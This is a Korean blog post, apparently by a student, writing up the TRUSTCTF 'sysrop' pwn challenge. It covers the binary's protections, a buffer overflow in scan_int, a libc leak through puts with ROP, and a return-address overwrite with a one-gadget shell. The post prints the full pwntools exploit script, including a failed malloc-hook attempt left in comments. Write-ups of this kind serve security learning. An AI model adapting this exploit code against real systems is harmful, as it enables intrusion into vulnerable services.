hOwDayS 선린 10720
TRSUTCTF sysrop 본문
소개
고등학교 모의고사(망쳤다;;)끝나고 저번과 같이 문제를 하나 더 풀어서 써보도록 한다...
TRUSTCTF문제
보호 기법
RELRO | FULL RELRO |
Stack Canary | No Canary |
NX | NX Enabled |
PIE | No PIE |
분석
저렇게 되는데 scan_int함수에서 바로 취약점이 보여서 2 , 3 , 4 메뉴를 볼 필요가 없었다
read에서 buf가 원래 크기보다 더 크게 받으므로 이걸로 Leak , exploit 할 수 있다.
Leak
처음에 입력받을때 바로 릭할 수 있다.
1. Leak libc_base , using puts
2. return to main
Exploit
릭하고 메뉴로 왔으니 처음 입력받을 때 익스 할 수 있다.
1. overwrite ret to oneshot
익스할때 __malloc_hook를 덮어 씌우겠다고 발악했지만 안돼서 자세히보니 ret를 바로 덮어 씌우면 되는 거였다..
Exploit Code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 | from pwn import * e = ELF("./sysrop") p = remote("198.13.62.9",5466) #p = process("./sysrop") lib = ELF("/lib/x86_64-linux-gnu/libc.so.6") pop_rdi = 0x400d33 pppr = 0x400d2f main = 0x400c2c __malloc_hook = 0x3c4b10 oneshot = 0x45216 print p.recv() #libc leak payload = "A" * 0xa0 #buf payload += "A" * 8 #sfp payload += p64(pop_rdi) payload += p64(e.got["puts"]) payload += p64(e.plt["puts"]) payload += p64(main) p.send(payload) leak = u64(p.recv(6) + "\x00\x00") libc_base = leak - lib.symbols["puts"] log.info("puts leak : " + hex(leak)) log.info("libc leak : " + hex(libc_base)) log.info("__malloc_hook : " + hex(libc_base + __malloc_hook)) log.info("oneshot gadget : "+ hex(libc_base + oneshot)) print p.recv() #exploit exploit = "A" * 0xa0 #buf exploit += "A" * 8 #sfp exploit += p64(libc_base + oneshot) p.send(exploit) p.interactive() # Failed @_@ #exploit += p64(pppr) #exploit += p64(0) #exploit += p64(libc_base+__malloc_hook) #exploit += p64(100) #exploit += p64(e.plt["read"]) #exploit += p64(main) #p.send(exploit) #p.send(p64(libc_base + oneshot)) #overwrite __malloc_hook #p.interactive() #Allocate and Shell!! | cs |
'CTF' 카테고리의 다른 글
ASISCTF CAT (0) | 2018.05.05 |
---|---|
TRUTHEALTH SoHard (0) | 2018.03.10 |
ROOTCTF Allocate (0) | 2018.03.04 |
TRUSTEALTH rpggame (0) | 2018.03.03 |
0ctf babyheap (0) | 2018.03.01 |
Comments